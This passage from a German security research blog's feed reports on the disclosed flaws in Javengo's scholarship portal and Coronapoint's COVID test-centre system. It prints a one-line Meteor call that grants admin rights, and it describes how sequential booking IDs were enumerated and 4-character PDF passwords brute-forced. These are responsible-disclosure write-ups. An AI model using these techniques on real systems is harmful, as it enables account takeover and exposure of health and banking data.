&lt;p&gt;Beim weiteren Stöbern durch den Quellcode entdecken wir noch eine weitere Methode: &lt;code&gt;updateObjectSet&lt;/code&gt;.
Mit dieser kann man gezielt einzelne Objekte in der Datenbank ändern.&lt;/p&gt;
&lt;p&gt;Ähnlich wie beim Lesen der Daten aus der Datenbank muss so ein API-Call gut geschützt werden, sodass nur bestimmte Daten und diese nur von berechtigten Accounts verändert werden können.&lt;/p&gt;
&lt;p&gt;Doch dies wurde hier wieder nicht beachtet.
Stattdessen konnte man beliebige Dokumente in der Datenbank auf beliebige Art verändern.
Hier nur mal eine kurze Liste, was damit alles möglich wäre:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;das Passwort eines fremden Accounts ändern&lt;/li&gt;
&lt;li&gt;die in einem Account hinterlegte IBAN ändern um das Stipendium abzugreifen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Und wem das alles zu kompliziert war, der konnte einfach den eigenen Account zum Admin machen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt;(); &lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;roles&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;); &lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;updateObjectSet&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Meteor.users&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;_id&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Damit kann man sich dann im Admin-Portal der jeweiligen Instanz einloggen und ganz bequem durch alle Daten browsen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/javengo/admin.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/javengo/admin.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;alarm-cert-bund-alarm-&#34;&gt;Alarm, CERT-Bund, Alarm! 🚨&lt;/h2&gt;
&lt;p&gt;Nachdem wir die Sicherheitslücke fanden, haben wir sie feinsäuberlich dokumentiert und an die zuständigen Behörden (CERT-Bund und LfDI Berlin) sowie einen persönlichen Kontakt bei der Rosa-Luxemburg-Stiftung gemeldet.&lt;/p&gt;
&lt;p&gt;Die Behörden verifizieren die Meldungen und gehen dann auf das betroffenen Unternehmen zu, damit die Lücken schnellstmöglich geschlossen werden können.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wir empfehlen &lt;em&gt;jedem&lt;/em&gt; Unternehmen, auf allen Webseiten einen Security-Kontakt und ggf. weitere Informationen zum Melden von Sicherheitslücken zu veröffentlichen. Am einfachsten geht das über eine &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt;.
Dies würde (nicht nur) uns helfen, solche Lücken ohne Umwege an die richtigen Stellen in Unternehmen melden zu können.
&lt;/div&gt;
&lt;p&gt;Es wundert uns schon sehr, dass ein Unternehmen, das seit 2009 besteht, solch grobe Fehler wie bei der Stipendiums-Bewerbungs-Software machen kann.&lt;/p&gt;
&lt;h2 id=&#34;weg-vom-netz-und-reparieren&#34;&gt;Weg vom Netz und reparieren&lt;/h2&gt;
&lt;p&gt;Das Unternehmen hat relativ schnell reagiert und am nächsten Tag erstmal die Portale offline genommen.
Danach haben sie nach eigener Aussage die Lücken geschlossen und danach das jeweilige Portal wieder online geschaltet.
Zudem haben sie die Landesdatenschutzbehörde von Berlin informiert (was sie &lt;a href=&#34;https://dejure.org/gesetze/DSGVO/33.html&#34;&gt;nach DSGVO auch innerhalb von 72h nach Bekanntwerden der Lücke müssen&lt;/a&gt;) und die betroffenen Stiftungen und Studienwerke informiert.&lt;/p&gt;
&lt;p&gt;Diese haben teilweise die Stipendiat*innen informiert.
Die E-Mail der Rosa-Luxemburg-Stifung liegt uns vor – und wir müssen diese leider scharf kritisieren.
In der E-Mail schreiben sie:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[&amp;hellip;] Unter Ausnutzung der Sicherheitslücke wäre eine Einsicht in die hinterlegten personenbezogenen Daten möglich gewesen. [&amp;hellip;] Laut Betreiber konnte nach Analyse kein Datenabfluss durch Ausnutzung der Schwachstelle festgestellt werden.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wie der Dienstleister keinen Datenabfluss festgestellt haben will, wenn wir zu Testzwecken auf Daten zugegriffen haben, erschließt sich uns nicht.
Auch dass nicht genannt wird, welche Daten betroffen waren, sehen wir kritisch: Hier waren nicht nur E-Mail-Adressen und (gehashte) Passwörter betroffen, sondern auch&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Informationen über das Studium&lt;/li&gt;
&lt;li&gt;Empfehlungsschreiben&lt;/li&gt;
&lt;li&gt;Bankverbindungen&lt;/li&gt;
&lt;li&gt;E-Mail- und physikalische Adressen&lt;/li&gt;
&lt;li&gt;Zeugniskopien&lt;/li&gt;
&lt;li&gt;Ausweiskopien&lt;/li&gt;
&lt;li&gt;u.v.m.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Diese schlechte Informationspolitik ist besonders zu verurteilen, da es sich bei den Daten teilweise um besonders schützenswerte Daten nach Art. 9 DSGVO handelt, nämlich um Daten zur politischen (bei der Rosa-Luxemburg-Stiftung) und religiösen (bei Avicenna) Überzeugung.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Hier hat die Rosa-Luxemburg-Stiftung einen Nachteil - von den anderen Institutionen wissen wir nicht ob sie überhaupt informiert haben und wenn ja mit welchem Text.
Solltet ihr eine solche E-Mail bekommen haben, freuen wir uns über eine Weiterleitung an &lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;&lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt;&lt;/a&gt;.
&lt;/div&gt;
&lt;h2 id=&#34;zugabe-nach-der-zusage&#34;&gt;Zugabe nach der Zusage&lt;/h2&gt;
&lt;p&gt;Wenn uns ein Unternehmen meldet, die Lücken geschlossen zu haben, schauen wir meist nur nochmal oberflächlich nach.
Als wir dies bei Javengo taten sah es auch gut aus:
Die von uns beschriebenen Lücken waren nicht mehr ausnutzbar.&lt;/p&gt;
&lt;p&gt;Als wir uns allerdings während des Schreibens dieses Artikels ein paar Sachen nochmal genauer anschauten, staunten wir nicht schlecht:
Viele Stiftungen betreiben ein weiteres &amp;ldquo;Self-Service-Portal&amp;rdquo; für Stipendiat*innen, auf dem diese nach der Förder-Zusage weitere Informationen finden.
Und dort waren die Lücken immer noch ausnutzbar.&lt;/p&gt;
&lt;p&gt;In diesem konnte man sich zwar nicht neu registrieren, wer allerdings bereits einen Account hatte, konnte sich weiter einloggen.
Und noch viel schlimmer:
Neben dem Self-Service-Portal gibt es ja auch das normale Bewerbungs-Portal.
Und dort kann man sich auch weiterhin einen Account erstellen, welcher dann auch im Self-Service Portal gültig ist.&lt;/p&gt;
&lt;h3 id=&#34;again-lücken-stopfen&#34;&gt;Again: Lücken stopfen&lt;/h3&gt;
&lt;p&gt;Reichlich genervt haben wir schnellstmöglich erneut eine Meldung an das CERT-Bund und die LfDIs geschrieben.
Diese sind dann am nächsten Morgen erneut auf das Unternehmen zugegangen.
Während wir diesen Artikel schreiben, kann man sich einfach gar nicht mehr auf dem Self-Service-Portal anmelden.
Also ist damit diese Lücke nun auch einigermaßen geschlossen.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Dieser Fall ist leider mal wieder einer, bei dem extrem viele Daten betroffen sind und noch dazu besondes schützenswerte: Daten welche einen weitreichenden Identitätsdiebstahl ermöglichen.&lt;/p&gt;
&lt;p&gt;Auch wenn die Stiftungen das teilweise behaupten, wurde hier anscheinend eben nicht genau auf die IT-Sicherheit geachtet.
Schon bei oberflächlichem Dagegentreten - denn mehr machen wir ja auch oft nicht - wären solche Fehler eigentlich aufgefallen.&lt;/p&gt;
&lt;p&gt;Damit gilt mal wieder: Wer ein Portal bereitstellt, welches große Mengen Daten verarbeitet, insbesondere so sensible, &lt;strong&gt;muss&lt;/strong&gt; dieses sehr gut schützen.
Dabei darf die Verantwortung nicht auf Dienstleister verlagert werden.
Wenn du eine Software für so einen Zweck einkaufst, schau sehr genau hin.
Frag den Dienstleister nach einem Sicherheitskonzept, nach der genauen Ausgestaltung der technischen und organisatorischen Maßnahmen zum Schutz der Daten.
Und frag ihn vielleicht nach einem Sicherheits-Audit bzw. den Ergebnissen eines Pentests.&lt;/p&gt;
&lt;p&gt;Und wer eine solche Software schreibt, muss für die Sicherheit der darin geschriebenen Daten sorgen.
Wenn die Software reif genug ist, um Kund*innen-Daten zu speichern, muss sie diese auch für sich behalten können.
Wenn du nicht weißt wie sowas richtig geht (am besten auch wenn du glaubst es zu tun), such dir Hilfe. Beauftrage zum Beispiel ein externes Unternehmen, das die Sicherheitseinschätzung übernimmt.&lt;/p&gt;
&lt;p&gt;Für Datensicherheit zu sorgen ist nun mal nicht nur eine moralische Verpflichtung, sondern auch einfach eine rechtliche:
Die DSGVO wurde nicht zum Spass geschaffen, sondern legt wichtige Rechten und Pflichten zur Datenverarbeitung fest.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	zerforschung hat vor kurzem einjährigen Geburtstag &lt;a href=&#34;https://twitter.com/LilithWittmann/status/1431637048037986304?s=20&#34;&gt;gefeiert&lt;/a&gt;.
Wenn euch gefällt was wir machen, dürft ihr uns gern &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;unterstützen.&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;siehe &lt;a href=&#34;https://en.wikipedia.org/wiki/Boaty_McBoatface&#34;&gt;Boaty McBoatface&lt;/a&gt;. Ja, wir erklären manche unserer Witze.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://guide.meteor.com/security.html#attack-surface&#34;&gt;https://guide.meteor.com/security.html#attack-surface&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;MongoDB organisiert die Daten in sogenannten Collections, also Sammlungen ähnlicher Dokumente.
So gibt es beispielsweise eine Collection, in der alle User*innen-Accounts gespeichert sind und eine andere mit allen Bewerbungen. In anderen Datenbanksystemen wären Tabellen wohl ein passendes Equivalent.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.javengo.com/loesungen/bewerbung-stipendium/&#34;&gt;https://www.javengo.com/loesungen/bewerbung-stipendium/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.javengo.com/#contact-us&#34;&gt;https://www.javengo.com/#contact-us&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Coronapoint – eine Achterbahn der Software-Katastrophen 🎢</title>
      <link>https://zerforschung.org/posts/coronapoint/</link>
      <pubDate>Tue, 22 Jun 2021 16:50:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/coronapoint/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/titelbild.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/titelbild.jpg&#34;
         alt=&#34;eine sehr gefährliche Achterbahn&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Wir wissen mittlerweile, dass es kein Spaß ist, Testzentren anzuschauen. Diesmal war es aber besonders anstrengend: Ganze drei &lt;!-- Update vier --&gt; Mal mussten wir dem BSI Sicherheitslücken bei dem gleichen Unternehmen melden. Schnallt euch an für eine Achterbahnfahrt der Software-Katastrophen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Los geht es mal wieder in NRW. Hier ist Coronapoint einer der größeren Anbieter für Schnelltests, aber insgesamt in 4 Bundesländern mit 34 Testzentren vertreten. Deshalb waren wir sehr schockiert, als &lt;a href=&#34;https://twitter.com/em0lar&#34;&gt;Leo&lt;/a&gt; uns eine private Nachricht schickte und uns auf ein Problem bei diesem Anbieter hinwies&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Wer sich bei Coronapoint testen lassen möchte, muss sich vorher registrieren – und erhält im Testzentrum dann ein Papp-Kärtchen mit einem QR-Code und einem Passwort.
Mit diesem QR-Code kann man dann später ein PDF mit dem Testergebnis abrufen, welches mit dem Passwort verschlüsselt ist. Das klingt erstmal gar nicht so verkehrt, aaaaber…&lt;/p&gt;
&lt;h2 id=&#34;du-hast-kein-passwort-nimm-dieses&#34;&gt;Du hast kein Passwort? Nimm dieses!&lt;/h2&gt;
&lt;p&gt;Problematisch wird es, wenn man dieses Passwort verbummelt hat. Im Registrierungsformular gibt es nämlich einen Button, um sich das Passwort erneut zusenden zu lassen. Klickt man den Button auf der Webseite, wird im Hintergrund die entsprechende Anfrage an den Server gestellt.&lt;/p&gt;
&lt;p&gt;Normalerweise antwortet ein Server auf so eine Anfrage lediglich mit einer kurzen Erfolgsmeldung: &amp;ldquo;Yay, Problem verstanden, du bekommst eine Mail&amp;rdquo;. Der Server von Coronapoint ist hier leider etwas gesprächiger und beschreibt sehr ausführlich, was im Hintergrund passiert. Dabei erzählt er auch fröhlich den Inhalt der verschickten Mail – inklusive dem Passwort.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/maillog.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/maillog.png&#34;
         alt=&#34;Log vom Mailversand, inklusive der Passwörter&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Das bedeutet, man benötigt gar keinen Zugriff auf den E-Mail-Account, um das Passwort zu bekommen. Es reicht, die E-Mail-Adresse zu kennen, diese in das Formular einzutragen und dann zuzuschauen, was der Server an den Mail-Account schickt.&lt;/p&gt;
&lt;h2 id=&#34;unser-selbstversuch-mitten-rein-ins-geschehen&#34;&gt;Unser Selbstversuch: Mitten rein ins Geschehen&lt;/h2&gt;
&lt;p&gt;Ein banaler Fehler, mit dem wir an die Passwörter für die PDFs kommen. Doch ohne die Dokumente nutzt uns das herzlich wenig. Also Glück gehabt? Nicht unbedingt: Wo so ein simpler Fehler passiert, ist vielleicht noch mehr kaputt, haben wir uns gedacht – und uns selbst bei Coronapoint für einen Test-Termin registriert.&lt;/p&gt;
&lt;p&gt;Und uns wird klar: Unsere Fahrt hat gerade erst wirklich angefangen.&lt;/p&gt;
&lt;p&gt;Wenn wir das Registrierungsformular für einen Test-Termin online ausfüllen, werden wir auch gefragt, ob wir das Ergebnis zusätzlich in der offiziellen Corona-Warn-App (CWA) erhalten wollen.&lt;br&gt;
In der Corona-Warn-App kann man sich über das eigene Testergebnis informieren lassen. Falls der Test positiv ist, können die eigenen Kontakte so auch möglichst schnell gewarnt werden.&lt;/p&gt;
&lt;p&gt;Das klingt nach einer sinnvollen Idee und natürlich sind wir neugierig, wie dieses Feature technisch umgesetzt wurde. Wir klicken also begeistert auf &amp;ldquo;Ja&amp;rdquo;. Sobald die Registrierung abgeschlossen ist, bekommen wir auch gleich den passenden QR-Code, um den Test in die CWA zu importieren.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/cwa-qrcode.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/cwa-qrcode.png&#34;
         alt=&#34;Screenshot des QR-Codes für die CWA auf der Buchungsbestätigungs-Seite&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Doch wie wird eigentlich der QR-Code generiert? Ein Rechtsklick verrät uns mehr:&lt;br&gt;
In dem Auswahlmenü sehen wir die Option &amp;ldquo;Grafikadresse kopieren&amp;rdquo;. Der QR-Code ist eine Bilddatei, die sich unter &lt;code&gt;https://e.coronapoint.de/cwa/qrcodes/{Buchungsnnummer}.png&lt;/code&gt; abrufen lässt.&lt;/p&gt;
&lt;p&gt;Wie bei einer echten Achterbahnfahrt bekommen wir wieder ein flaues Gefühl im Magen, denn die Buchungsnummer ist nur eine einfache, aufsteigende Zahl.
Und wie es schon bei &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;Medicus&lt;/a&gt; und anderen der Fall war, lassen sich solche Zahlen einfach herunterzählen.&lt;/p&gt;
&lt;h2 id=&#34;qr-codes-für-alle&#34;&gt;QR-Codes für alle&lt;/h2&gt;
&lt;p&gt;Und leider hat unser Bauchgefühl wieder recht, denn nach nur zwei Versuchen landen wir auf dem QR-Code einer anderen Person. Der Puls steigt, denn schlimmstenfalls haben wir damit Zugriff auf eine ganze Menge fremder Codes. Nach kurzem automatisiertem Abfragen wissen wir, dass tatsächlich der Zugriff auf mehr als 88.000 QR-Codes der letzten 20 Tage möglich ist.&lt;/p&gt;
&lt;p&gt;Doch es geht wieder bergauf, die Architektur der CWA rettet für einen Moment unsere Laune: Beim Design der CWA wurde der Verlust von QR-Codes anscheinend mitgedacht. Jeder QR-Code kann nur einmal in die App importiert werden – und auch nur auf einem einzigen Gerät.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Die CWA ist vermutlich einer der sichersten Wege, ein Testergebnis abzurufen.&lt;/p&gt;
&lt;p&gt;Bei der Architektur wurden sich durchaus Gedanken gemacht, auch um Sicherheit und Datensparsamkeit und so ist auch keine der Lücken, die wir gefunden haben in der CWA selbst.&lt;/p&gt;
&lt;p&gt;Trotzdem können Testzentren, die das Ergebnis in der CWA bereitstellen, immernoch grobe Sicherheitslücken haben.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Jeder Höhepunkt in einer Achterbahn verspricht aber auch eine Abfahrt: Denn die QR-Codes &lt;a href=&#34;https://github.com/corona-warn-app/cwa-quicktest-onboarding/wiki/Anbindung-der-Partnersysteme#erstellung-von-qr-codes-f%C3%BCr-corona-warn-app&#34;&gt;können noch mehr Daten enthalten&lt;/a&gt; als nur ein Test-Hash. Die CWA unterscheidet zwischen namentlichen und anonymen Tests. Bei namentlichen Tests werden neben dem Hash auch eine Test-ID, Vorname, Nachname und Geburtsdatum im QR-Code hinterlegt.&lt;/p&gt;
&lt;p&gt;Von den mehr als 88.000 QR-Codes, welche uns offen zugänglich waren, waren mehr als 53.000 für namentliche Tests – und enthielten somit persönliche Daten.&lt;/p&gt;
&lt;p&gt;Das Feld &lt;code&gt;testid&lt;/code&gt; ist in allen namentlich QR-Codes enthalten, darin steht eine &lt;a href=&#34;https://de.wikipedia.org/wiki/Universally_Unique_Identifier&#34;&gt;UUID&lt;/a&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, also ein langer, zufälliger Wert – und nicht einfach nur eine aufsteigende Zahl.&lt;/p&gt;
&lt;h2 id=&#34;auf-ins-testzentrum&#34;&gt;Auf ins Testzentrum&lt;/h2&gt;
&lt;p&gt;Unsere Experimente zur Registrierung am Rechner mit all ihren Höhen und Tiefen müssen wir jetzt aber erstmal beenden. Es wird nämlich Zeit, dass wir uns auf den Weg zum Testzentrum zu unserem Termin machen.&lt;/p&gt;
&lt;p&gt;Dort bekommen wir ein kleines Papp-Kärtchen, mit einem aufgedruckten QR-Code. Das ist aber nicht der gleiche wie für die CWA. Dieser QR-Code enthält einen Link zu &lt;code&gt;https://e.coronapoint.de/result.php?testid={Buchungsnummer}&amp;amp;uuid={UUID}&lt;/code&gt;, dort soll später unser Testergebnis liegen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/pappkarte.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/pappkarte.jpg&#34;
         alt=&#34;Foto des Pappkärtchens&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Was uns dabei auffällt: Die &lt;code&gt;testid&lt;/code&gt; ist die gleiche wie die aufsteigende Nummer aus der Registrierung. Und die &lt;code&gt;uuid&lt;/code&gt; entspricht der UUID, die wir gerade eben schon im CWA-QR-Code finden konnten (dort verwirrenderweise als &lt;code&gt;test_id&lt;/code&gt; hinterlegt). Wir scannen den QR-Code und kommen über einen Link zum Testergebnis. Dort werden wir zwar nach einem Geburtsdatum gefragt, aber das ist ja praktischerweise im CWA-QR-Code enthalten.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/geburtsdatum.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/geburtsdatum.png&#34;
         alt=&#34;Screenshot des Formulars zur Eingabe des Geburtsdatums&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Nach der Eingabe des Geburtsdatums erhalten wir nun das PDF mit dem Ergebnis. Doch die Talfahrt nimmt ein Ende und wir können Aufatmen: Das PDF ist mit einem Passwort verschlüsselt. Nur um kurz darauf festzustellen: Upps, wir hängen kopfüber in einem Looping!&lt;/p&gt;
&lt;p&gt;Denn das Passwort, das wir benötigen, ist genau jenes, welches wir ganz am Anfang mit Hilfe der E-Mail-Adresse abfragen konnten.&lt;/p&gt;
&lt;p&gt;Erster Gedanke: Puh, wir haben ja die E-Mail-Adressen nicht, die wir eingeben müssten, um das Passwort &amp;ldquo;zurücksetzen&amp;rdquo; zu können.&lt;/p&gt;
&lt;p&gt;Zweiter Gedanke: Wir wissen mittlerweile, dass die Passwörter nur 4 Zeichen lang sind und nur aus den Zeichen &lt;code&gt;0123456789ABCDEF&lt;/code&gt; bestehen. Selbst ein alter Laptop kann die 65.536 möglichen Kombinationen in Sekundenbruchteilen durchprobieren.&lt;/p&gt;
&lt;h2 id=&#34;et-voilà-personenbezogene-daten&#34;&gt;Et voilà: personenbezogene Daten&lt;/h2&gt;
&lt;p&gt;Und dann können wir erstmal gar nicht mehr denken, sondern stürzen in die Tiefe: Wir können mehrere zehntausende Testergebnis-PDFs mit persönlichen Daten herunterladen und entschlüsseln.&lt;/p&gt;
&lt;p&gt;Auch nach unserem Hinweis, dass 4-stellige Passwörter nicht mehr zeitgemäß sind&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, änderte Coronapoint an dieser Praxis nichts, obwohl solche Gesundheitsdaten  &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/pandemie-bekaempfung-datenschutz-in-testzentren/&#34;&gt;&lt;strong&gt;wirksam&lt;/strong&gt; verschlüsselt gespeichert werden müssen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Uns ist schon ziemlich schlecht, und wir wollen eigentlich nur noch aus dieser Achterbahn aussteigen und nie, nie wieder mitfahren.&lt;/p&gt;
&lt;h2 id=&#34;die-nächste-runde-geht-rückwärts-neuen-termin-buchen&#34;&gt;Die nächste Runde geht rückwärts: »Neuen Termin buchen«&lt;/h2&gt;
&lt;p&gt;Erholung wird uns aber nicht gegönnt: Etwa 20 Minuten nach dem Test erhalten wir eine E-Mail mit dem Ergebnis und einem Link, um einen neuen Termin zu vereinbaren. Dabei hatten wir uns doch gerade eben geschworen, nie wieder mit dieser Achterbahn zu fahren. Na gut, einmal vielleicht noch…&lt;/p&gt;
&lt;p&gt;Der Link in der Mail soll eine weitere Buchung vereinfachen, indem die persönlichen Daten im Formular bereits vorausgefüllt werden.&lt;/p&gt;
&lt;p&gt;Wir klicken also und landen auf einer normalen Buchungsseite, allerdings stehen in der URL zwei zusätzliche Angaben: &lt;code&gt;bookingsid&lt;/code&gt; und &lt;code&gt;uuid&lt;/code&gt;. Der ganze Link sieht damit so aus: &lt;code&gt;https://e.coronapoint.de/buchung/?product=Antigen-KL&amp;amp;bookingsid={Buchungsnummer}&amp;amp;uuid={UUID}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Die Buchungsnummer kennen wir ja schon (das war der Dateiname des CWA-Codes) und die UUID kennen wir auch (ist im CWA-Code gespeichert). Wir können sie hier also einfügen.&lt;/p&gt;
&lt;p&gt;Im Quellcode der Webseite finden wir auch alle Daten, die wir bei der Buchung angegeben haben. Die werden auch im nächsten Schritt des Buchungsprozesses hübsch auf der Webseite angezeigt.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/neue-buchung.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/neue-buchung.png&#34;
         alt=&#34;Buchungsseite mit vorausgefülltem Formular voller persönlicher Daten&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Dabei geht es um folgende Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse, PLZ, Ort&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;E-Mail&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Ausweis-Nr. (falls angegeben)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Und das schön maschinenlesbar, ohne ein PDF entschlüsseln und einlesen zu müssen. Wenn wir also die Informationen aus dem QR-Code für die CWA haben, kommen wir an personenbezogene Daten. Diese Runde Achterbahn ging also noch schneller – was aber auch bedeutet, dass uns jetzt noch schlechter ist. 🤢&lt;/p&gt;
&lt;h2 id=&#34;ein-großer-haufen-pdfs&#34;&gt;Ein großer Haufen PDFs&lt;/h2&gt;
&lt;p&gt;Während wir uns die Seite näher anschauen, finden wir diese Zeile im Quellcode:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/coronapoint/quelltext-url.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/coronapoint/quelltext-url.png&#34;
         alt=&#34;Screenshot des Quelltext in dem eine URL zusammengebaut wird&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Dort wird ein Link zusammengebaut, der wie folgt aussieht: &lt;code&gt;https://e.coronapoint.de/pdfs/results/result_{Buchungsnummer}.pdf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Als wir diese URL mit unserer Buchungsnummer aufrufen, entgleisen uns alle Gesichtszüge &lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
